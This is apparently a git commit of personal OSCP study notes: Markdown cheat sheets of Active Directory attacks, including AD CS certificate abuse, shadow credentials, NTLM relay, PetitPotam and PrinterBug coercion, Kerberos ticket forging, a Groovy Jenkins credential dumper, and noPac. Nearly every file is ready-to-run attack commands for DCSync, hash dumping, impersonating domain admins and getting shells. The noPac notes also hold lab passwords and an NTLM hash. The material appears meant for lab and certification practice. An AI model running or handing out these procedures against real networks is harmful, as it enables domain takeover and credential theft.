julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Necronomicon/Attacks/Active Directory/AD CS.md
+55
View File
@@ -0,0 +1,55 @@
- Recon
- `certipy find domain.local/user:[email protected] -enabled`
- Shadow credentials
- Add Key Credentials to the **msDS-KeyCredentialLink** of a user, allowing authentication as that user through certificates
- Must have one of the following ACLs over the user:
- GenericAll
- GenericWrite
- AddKeyCredentialLink
- Procedure:
- Get a certificate
- `python3 /opt/pywhisker/pywhisker.py -u ValidUser -p ValidPass -d domain.local -t target --dc-ip <DC IP> --action add`
- https://github.com/ShutdownRepo/pywhisker
- Get a TGT
- `python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass $passwordFromAbove -dc-ip <DC IP> domain.local/target filename.ccache`
- https://github.com/dirkjanm/PKINITtools
- Set the ccache environment variable for Impacket
- `export KRB5CCNAME=filename.ccache`
- Get NT hash from TGT
- `python3 /opt/PKINITtools/getnthash.py domain.local/target -key <key from above> -dc-ip <DC IP>`
- Privesc through misconfigured certificate templates
- Request a certificate
- `certipy req domain.local/user:[email protected] -ca <CA Name> -template <vulnerable template> -alt <domain admin acct>@domain.local' -out pwned`
- Authenticate and extract user's NT hash
- `certipy auth -pfx pwned.pfx -username <domain admin acct> -domain domain.local -dc-ip <DC IP>`
- Privesc through Certificate Authority which allows rogue Subject Alternative Names (SANs)
- "EDITF_ATTRIBUTESUBJECTALTNAME2" config allows users to specify SANs when requesting certificates
- Effectively, any user can request a certificate as any other user
- Exploited the same way as above, but can be done on any template
- NTLM Relay to AD CS HTTP Endpoints
- Certificate enrollment web interface at http://<ADCS_Server>/certsrv/ is vulnerable to Net-NTLM relay attack
- This allows attackers to use NTLM relay to to login and generate a certificate using the relayed user's creds
- When PKINIT auth is used, Kerberos provides user with the NT hash of the account for fallback to Net-NTLM auth, which means we can also use this to obtain the NT hash of the user.
- Exploitation:
- Initialize the relay
- `certipy relay -ca <CA_IP> -template DomainController`
- Coerce authentication
- `python3 /opt/PetitPotam/PetitPotam.py -d domain.local <attacker_IP> <target_DC_IP>`
- Auth with the certificate
- `certipy auth -pfx dc.pfx -dc-ip <DC_IP>`
- DCSync
- `cme smb <target_DC>.domain.local -u <DC_machine_acct> -H <NT_hash> --ntds`
- NTAuthCertificates
- LDAP object: `(CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=rlyeh,DC=com)`
- Add new CA certificate to this object (allows it to be trusted for auth):
- `certutil.exe -dspublish -f C:\rogue.crt NTAuthCA`
- Golden certificates:
1. Get the CA cert and key: `certipy ca -backup -ca 'cthulhu-CA'`
2. Forge certificates: `certipy forge -ca-pfx cth.pfx [cert options]`
Necronomicon/Attacks/Active Directory/Credential Harvesting.md
+42
View File
@@ -0,0 +1,42 @@
- CrackMapExec
- `cme smb <target> –u ValidUser –p ValidPass --sam`
- Dumps the SAM file - local users only (not domain)
- `cme smb <target> –u ValidUser –p ValidPass --lsa`
- Dump LSA secrets from the registry - includes Domain Cached Credentials
- Checking BloodHound data for credentials in user descriptions
- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
- Extracting Jenkins credentials from script console
```Groovy
/* All Credentials */
import jenkins.*
import jenkins.model.*
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
Jenkins.instance,
null,
null
);
for (creds in jenkinsCredentials) {
println(jenkinsCredentials.id)
}
/* Specific Credentials */
import jenkins.*
import jenkins.model.*
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
Jenkins.instance,
null,
null
);
for (creds in jenkinsCredentials) {
if(creds.id == "<credential_id>"){
println(creds.<variable_name_suchas_username>)
println(creds.<variable_name_suchas_password>)
}
}
```
Necronomicon/Attacks/Active Directory/Delegation.md
+24
View File
@@ -0,0 +1,24 @@
- Resource-Based Constrained Delegation
- msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
- Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
- Prerequisites:
- No LDAP signing on DCs
- `cme ldap –u ValidUser –p ValidPass –M ldap-signing`
- Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
- Check: `cme smb –u ValidUser –p ValidPass –M maq`
- Need a way to coerce authentication (printerbug, petitpotam, etc.)
- Exploitation:
- Add machine account (with a SPN)
- `impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password`
- Add DNS record to force HTTP authentication
- `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>`
- Start NTLM Relay
- `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs`
- Coerce authentication
- `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath`
- Request a TGS to impersonate a domain admin on the target host
- `impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>`
- Set the ccache environment variable for impacket
- `export KRB5CCNAME=<Domain_Admin>.ccache`
- DCSync to dump hashes
- `impacket-secretsdump -k -no-pass remoteHost.domain.local`
Necronomicon/Attacks/Active Directory/Kerberos.md
+34
View File
@@ -0,0 +1,34 @@
- Cerbero
- `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv`
- Silver Ticket services
- psexec - CIFS
- winrm - HOST & HTTP
- dcsync (DC only) - LDAP
- Kerberoast/ASREPRoast (with CME)
- `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt`
- `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt`
- NoPAC - CVE-2021-42278 and CVE-2021-42287
- Breakdown
- Create a new computer account with any name
- Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
- Clear the SPNs
- Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
- Request TGT for the machine account
- Change name of computer back to its original value
- Request TGS for the LDAP service using the TGT
- Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
- DCSync
- Exploitation
- `python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump`
- https://github.com/Ridter/noPac
- OPSEC - remember to delete the machine account after execution
- Dominance Tickets
- Golden Tickets
- Mimikatz: `kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi`
- Silver Tickets
- Rubeus: `Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>`
- Diamond Tickets
- Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>`
- Sapphire Tickets
- Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator`
Necronomicon/Attacks/Active Directory/Miscellaneous.md
+7
View File
@@ -0,0 +1,7 @@
- PrinterBug - Induce authentication from any one machine on the network to any other
- `python3 /opt/krbrelayx/printerbug.py domain.local/user:password@target <targetIP>`
- PetitPotam Authentication Coercion
- Microsoft Encrypting File System Remote Protocol (MS-EFSR) allows AD server to remotely manage encrypted information using RPC
- Can connect to a server unauthenticated and force it to open an "encrypted file" on your machine, thus forcing it to authenticate to you.
- Exploitation:
- `python /opt/PetitPotam/petitpotam.py <responder_IP> <target> -pipe all`
Necronomicon/Attacks/Active Directory/NTLM Relay.md
+16
View File
@@ -0,0 +1,16 @@
- Through Cobalt Strike:
- https://github.com/praetorian-inc/PortBender
- Through .NET
- https://github.com/Kevin-Robertson/InveighZero
- MITM6 - Spoof IPv6 and relay requests to targets
- `mitm6 -d <domain.local>`
- `ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/`
- `-6` specifies ipv6, `-wh` specifies where the WPAD file is hosted at (your IP usually). `-t` specifies the target, or destination where the credentials will be relayed. `-l` is to where to store the loot.
- Generate list of relay targets (SMB signing disabled)
- `cme smb scope.txt --gen-relay-list relay.txt`
- Basic NTLM Relay
- `impacket-ntlmrelayx -t <target> -smb2support`
- With targets file
- `impacket-ntlmrelayx -tf relay.txt -smb2support`
- NTLM Relay to AD CS HTTP Endpoints - see ADCS section
Necronomicon/Attacks/Active Directory/NoPac.md
+114
View File
@@ -0,0 +1,114 @@
# attacking machines with noPac exploit #
# logic
spoof a workstation account to request a ticket for a domain admin with no pack
* pack is the part of a ticket that contains user information
(Pac = "Privileged Attribute Certificate")
% if vuln able to impersonate a admin a DCSYNC the target
% only need a set of valid domain creds to sploit
-----------------------------------------------------------------------------------
# setup
% exploit code
git clone https://github.com/WazeHell/sam-the-admin.git
{%%} performing the noPac attack (THM: RazorBlack)
sudo python3 sam_the_admin.py -dc-ip <rhost-ip> <domain-name>/<username>:<password>
sudo python3 sam_the_admin.py -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes
* make sure you include tne netbios/hostname of the box for the highest priv user
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
% get a shell with the impacket-smb command or a other like wmiexec, psexec, etc
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
* needs to be modified because of the extra domain
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
{what worked for me after adding the netbios hostname and domain name to the /etc/hosts file}
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.21.231 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
=-=-=-=-=-=-=-=------------=-=-=-=-=-=-=-=-=-=
% if it fails
1. attempt a time sync
sudo apt install ntpdate -y
sudo ntpdate <rhost-ip>
sudo ntpdate 10.10.152.25
---------------------------------------------------------------------------------------------
# clean up after the fact (just delete the user that was created to impersonate administrator
% account creaated
SAMTHEADMIN-39$:CxP)O@kQyHqW
% how to figure out that account is still there
1. rid-cycling
crackmapexec smb 10.10.85.161 -u twilliams -p roastpotatoes --rid-brute
% how to remove account //{!}\\ by using impacket (addcomputer.py) to remove the machine account
impacket-addcomputer -dc-ip 10.10.104.115 -computer-name 'SAMTHEADMIN-55$' -dc-host HAVEN-DC -domain-netbios raz0rblack.thm 'raz0rblack.thm/oreo:P@ssw0rd' -delete
{/!\} check to make sure the ticket still works after the account SAMTHEADMIN account has been removed
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.104.115 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
* yes still works pog
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
# 0r just use Alh4zr3d version which auto deletes it
git clone https://github.com/Alh4zr3d/sam-the-admin.git
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry!
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
export KRB5CCNAME='a-fubukis.ccache'
proxychains impacket-wmiexec -dc-ip 10.200.151.30 -k -no-pass holo.live/a-fubukis@10.200.151.30
{!} problems with same the admin
* some networks return this authentication error
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
* since you can't select what user to impersonate
there is a change that the ticket you get is for a user who may not be able to authenticate
---------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\================================-----------------------
# or a more automated version of noPac from this repo ;'..;' https://github.com/Ridter/noPac.git
git clone https://github.com/Ridter/noPac.git
% how use it (defaults)
{auto shell}
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
proxychains python3 noPac.py -use-ldap holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
proxychains python3 noPac.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
% example from the holo network noPac attempt
python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
1. domain into
[*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
watamet:Nothingtoworry!
2. perform the attack over socks proxy
proxychians python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
proxychains python3 noPac.py -use-ldap -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry! --impersonate administrator -dump
-use-ldap ("used when the server is running it's service with ssl")
3. psexec in
proxychains impacket-wmiexec holo.live/Administrator@10.200.151.30 -hashes ae19656e1067231cb5e3c5dcea320bba:ae19656e1067231cb5e3c5dcea320bba
0r
use the ticket it creates with a method above